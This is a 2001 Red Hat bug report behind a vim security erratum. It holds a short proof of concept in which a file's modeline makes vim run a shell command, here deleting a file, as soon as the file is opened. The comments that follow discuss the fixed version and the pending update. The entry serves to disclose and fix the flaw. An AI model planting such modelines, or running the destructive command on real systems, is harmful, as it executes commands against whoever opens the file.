Red Hat Product Errata RHSA-2001:008 0 high SHIPPED_LIVE : Updated vim packages available 2001-01-29 05:00:00 UTC

Description Daniel Roesen 2001-01-29 17:13:33 UTC 
$ touch testfile
$ echo "vim:ls=2:stl=%{system('rm\ testfile')}" > test.txt
$ vi test.txt 
[leave with :q]
$ ls testfile
ls: testfile: No such file or directory

Think about files opened in vim by root.

restricting viewability to beta team right now. open for public if you
think it is apropriate.

I have stomach ache now :-$
Comment 1 Daniel Roesen 2001-01-29 17:27:33 UTC 
This is with vim 6.0-0.12, once build from a Rawhide SRPM.
Comment 2 Bernhard Rosenkraenzer 2001-01-29 22:06:18 UTC 
This is fixed in releases >= 0.20.
Looking into older releases now...
Comment 3 Bernhard Rosenkraenzer 2001-01-29 23:24:47 UTC 
Fixed package built, waiting for QA approval
Comment 4 Daniel Roesen 2001-03-04 12:48:48 UTC 
Hm, no activity since over a month now. Will we see errata update vim for
anymore?
